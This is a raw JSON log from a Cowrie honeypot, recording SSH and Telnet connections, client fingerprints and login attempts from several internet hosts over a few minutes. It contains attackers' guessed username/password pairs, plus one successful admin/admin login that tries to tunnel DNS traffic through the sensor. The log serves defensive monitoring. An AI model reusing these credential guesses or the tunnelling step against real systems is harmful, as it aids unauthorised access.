{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":34770,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bbdb7e51fe2","protocol":"ssh","message":"New connection: 193.228.128.84:34770 (10.17.0.5:22) [session: 5bbdb7e51fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:08:08.639993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:08:08.645518Z","src_ip":"193.228.128.84","session":"5bbdb7e51fe2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:08:08.747619Z","src_ip":"193.228.128.84","session":"5bbdb7e51fe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"evgen","message":"login attempt [root/evgen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:08:09.053736Z","src_ip":"193.228.128.84","session":"5bbdb7e51fe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:08:10.158993Z","src_ip":"193.228.128.84","session":"5bbdb7e51fe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.783748149871826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:08:17.699293Z","src_ip":"50.6.8.71","session":"053a8a074673","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22330379486084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:08:25.989819Z","src_ip":"50.6.8.71","session":"8e8608a2b0ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56264,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccd9a4162f10","protocol":"telnet","message":"New connection: 50.6.8.71:56264 (10.17.0.5:23) [session: ccd9a4162f10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:08:46.288719Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":59854,"dst_ip":"10.17.0.5","dst_port":22,"session":"178cf3bc4e27","protocol":"ssh","message":"New connection: 31.57.216.40:59854 (10.17.0.5:22) [session: 178cf3bc4e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:03.892821Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:03.900660Z","src_ip":"31.57.216.40","session":"178cf3bc4e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":59868,"dst_ip":"10.17.0.5","dst_port":22,"session":"7451b644f0a6","protocol":"ssh","message":"New connection: 31.57.216.40:59868 (10.17.0.5:22) [session: 7451b644f0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:04.056791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:04.061638Z","src_ip":"31.57.216.40","session":"7451b644f0a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:04.170292Z","src_ip":"31.57.216.40","session":"7451b644f0a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"1234","message":"login attempt [user3/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:04.519903Z","src_ip":"31.57.216.40","session":"7451b644f0a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:05.629457Z","src_ip":"31.57.216.40","session":"7451b644f0a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.84117078781128,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:21.129741Z","src_ip":"50.6.8.71","session":"ccd9a4162f10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":61406,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f7a58c53526","protocol":"ssh","message":"New connection: 87.251.64.176:61406 (10.17.0.5:22) [session: 2f7a58c53526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:32.885687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:32.889830Z","src_ip":"87.251.64.176","session":"2f7a58c53526","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:32.986719Z","src_ip":"87.251.64.176","session":"2f7a58c53526","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:33.282343Z","src_ip":"87.251.64.176","session":"2f7a58c53526","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:33.380952Z","session":"2f7a58c53526","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:33.478986Z","src_ip":"87.251.64.176","session":"2f7a58c53526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:33.582114Z","src_ip":"87.251.64.176","session":"2f7a58c53526","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57634,"dst_ip":"10.17.0.5","dst_port":23,"session":"86c26c98afcd","protocol":"telnet","message":"New connection: 50.6.8.71:57634 (10.17.0.5:23) [session: 86c26c98afcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:46.437700Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57638,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b890156aad3","protocol":"telnet","message":"New connection: 50.6.8.71:57638 (10.17.0.5:23) [session: 6b890156aad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:47.501016Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57640,"dst_ip":"10.17.0.5","dst_port":23,"session":"dea7f01dfd4c","protocol":"telnet","message":"New connection: 50.6.8.71:57640 (10.17.0.5:23) [session: dea7f01dfd4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:52.651134Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":48514,"dst_ip":"159.203.135.109","dst_port":22,"session":"2635218e04b2","protocol":"ssh","message":"New connection: 46.19.67.181:48514 (159.203.135.109:22) [session: 2635218e04b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:53.986492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:53.991318Z","src_ip":"46.19.67.181","session":"2635218e04b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:54.109310Z","src_ip":"46.19.67.181","session":"2635218e04b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":47236,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6c76fe8d1d0","protocol":"ssh","message":"New connection: 80.94.92.184:47236 (159.203.135.109:22) [session: b6c76fe8d1d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:54.276035Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:54.461719Z","src_ip":"46.19.67.181","session":"2635218e04b2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:54.714221Z","src_ip":"80.94.92.184","session":"b6c76fe8d1d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:54.718090Z","src_ip":"80.94.92.184","session":"b6c76fe8d1d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:55.581021Z","src_ip":"46.19.67.181","session":"2635218e04b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"qwerty1234","message":"login attempt [solv/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:56.644011Z","src_ip":"80.94.92.184","session":"b6c76fe8d1d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":40204,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3c9c82ab6f5","protocol":"telnet","message":"New connection: 23.94.28.189:40204 (10.17.0.5:23) [session: e3c9c82ab6f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:57.630494Z"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:09:57.973808Z","src_ip":"80.94.92.184","session":"b6c76fe8d1d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37736,"dst_ip":"10.17.0.5","dst_port":23,"session":"432b9d05f491","protocol":"telnet","message":"New connection: 50.6.8.71:37736 (10.17.0.5:23) [session: 432b9d05f491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:10:02.141950Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37746,"dst_ip":"10.17.0.5","dst_port":23,"session":"88c6f5258a37","protocol":"telnet","message":"New connection: 50.6.8.71:37746 (10.17.0.5:23) [session: 88c6f5258a37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:10:03.489703Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38530,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2aca0c9de02","protocol":"telnet","message":"New connection: 50.6.8.71:38530 (10.17.0.5:23) [session: b2aca0c9de02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:10:08.722344Z"}
{"eventid":"cowrie.session.closed","duration":30.861310482025146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:10:18.362207Z","src_ip":"50.6.8.71","session":"6b890156aad3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.889448165893555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:10:23.540499Z","src_ip":"50.6.8.71","session":"dea7f01dfd4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.186.119.49","src_port":35211,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ff53aff92a0","protocol":"telnet","message":"New connection: 37.186.119.49:35211 (159.203.135.109:23) [session: 0ff53aff92a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:10:24.964651Z"}
{"eventid":"cowrie.session.closed","duration":30.775466442108154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:10:32.917275Z","src_ip":"50.6.8.71","session":"432b9d05f491","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.82556939125061,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:10:35.263162Z","src_ip":"50.6.8.71","session":"86c26c98afcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.09460234642029,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:10:35.724979Z","src_ip":"23.94.28.189","session":"e3c9c82ab6f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.59091877937317,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:10:37.080475Z","src_ip":"50.6.8.71","session":"88c6f5258a37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.203710317611694,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:10:41.925951Z","src_ip":"50.6.8.71","session":"b2aca0c9de02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.222.148.25","src_port":56020,"dst_ip":"10.17.0.5","dst_port":23,"session":"f18f4f0f7957","protocol":"telnet","message":"New connection: 67.222.148.25:56020 (10.17.0.5:23) [session: f18f4f0f7957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:10:43.756396Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58462,"dst_ip":"10.17.0.5","dst_port":23,"session":"58ffe6a96797","protocol":"telnet","message":"New connection: 50.6.8.71:58462 (10.17.0.5:23) [session: 58ffe6a96797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:10:47.700011Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58464,"dst_ip":"10.17.0.5","dst_port":23,"session":"d96941cb7d0a","protocol":"telnet","message":"New connection: 50.6.8.71:58464 (10.17.0.5:23) [session: d96941cb7d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:10:48.080127Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58480,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cf5d18e9737","protocol":"telnet","message":"New connection: 50.6.8.71:58480 (10.17.0.5:23) [session: 2cf5d18e9737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:10:52.045596Z"}
{"eventid":"cowrie.session.closed","duration":30.652482509613037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:10:55.617005Z","src_ip":"37.186.119.49","session":"0ff53aff92a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":44378,"dst_ip":"10.17.0.5","dst_port":22,"session":"25213f0a0af8","protocol":"ssh","message":"New connection: 194.113.233.25:44378 (10.17.0.5:22) [session: 25213f0a0af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:11:04.799281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:11:04.806044Z","src_ip":"194.113.233.25","session":"25213f0a0af8","protocol":"ssh"}
